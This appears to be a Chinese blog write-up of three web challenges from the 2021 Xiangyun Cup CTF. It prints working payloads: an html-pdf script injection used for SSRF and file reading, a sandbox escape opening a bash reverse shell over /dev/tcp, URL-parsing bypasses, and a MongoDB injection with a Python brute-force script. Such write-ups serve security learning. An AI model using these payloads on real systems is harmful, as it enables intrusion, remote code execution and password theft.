2021祥云杯

Secrets_Of_Admin

typescript的写的爷吐了

image-20211103195835463

拿到admin密码

e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

在/api/files这个路由中有个ssrf

image-20211103201021115

并且filename没有做安全限制,并且插入数据库里去了

image-20211103201224762

而另一个接口刚好是个任意文件读取

image-20211103201856705

所以思路很明显,就是要搞个ssrf来用那个接口进行任意文件读取

而我们可以发现他这里用了个html-pdf

https://github.com/marcbachmann/node-html-pdf/issues/471

可以插入js代码

由于有限制用数组来绕

content[1]=<script>window.location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=penson"</script>

整id即可

cralwer_z

又是js题目,爷吐了

先注册吧

漏洞点应该在这里

image-20211103205634080

看源码,发现bucket貌似是个爬虫,但是他是从session中获取

image-20211103213020813

有个goto,主要是这个zombie的漏洞了

image-20211103213829139

exp

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>

先正常更新,拿到token

再利用/user/verify一个逻辑漏洞抓接口成功更新bucket

然后需要绕过/bucket路由的限制

记一下绕过

http://47.96.31.86/?oss-cn-beijing.ichunqiu.com
https://9ce3f4ff8097f3733b4bd7010f11d44d.oss-cn-beijing.ichunqiu.com@121.196.165.115

Package Manager 2021

继续审计

其实一看源码就很容易审出来有个sql注入

image-20211103223458537

但是注入之前有个checkmd5Regex函数

image-20211103224316579

只要超过位数后面就不查了,

image-20211103224756288

mongodb注入

https://blog.szfszf.top/article/27/

image-20211104223028346

成功的话,就有302

202cb962ac59075b964b07152d234b70"||this.password[0]=="b
import requests
import string

passwd = ""
for i in range(0,50):
    for j in string.printable:
        burp0_url = "http://b2578873-2144-4b5d-a12d-97f266bc90c7.node4.buuoj.cn:81/auth"
        burp0_cookies = {"session": "s%3APjMgE09JHbBDVC1O_4dh_B0bPr7BI1uS.Q%2BX7uMZuNWiJVnXwGIRptf3HdTu2ZHdRNf0PhPDdWio"}
        burp0_data = {"_csrf": "n76kZA7T-bAVf3KIV9xREBKqvVpKXkfAGUi0", "token": "202cb962ac59075b964b07152d234b70\"||this.password[{}]==\"{}".format(i,j)}
        print(burp0_data)
        res=requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
        if res.status_code == 302:
            passwd += j
            print(passwd)

文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年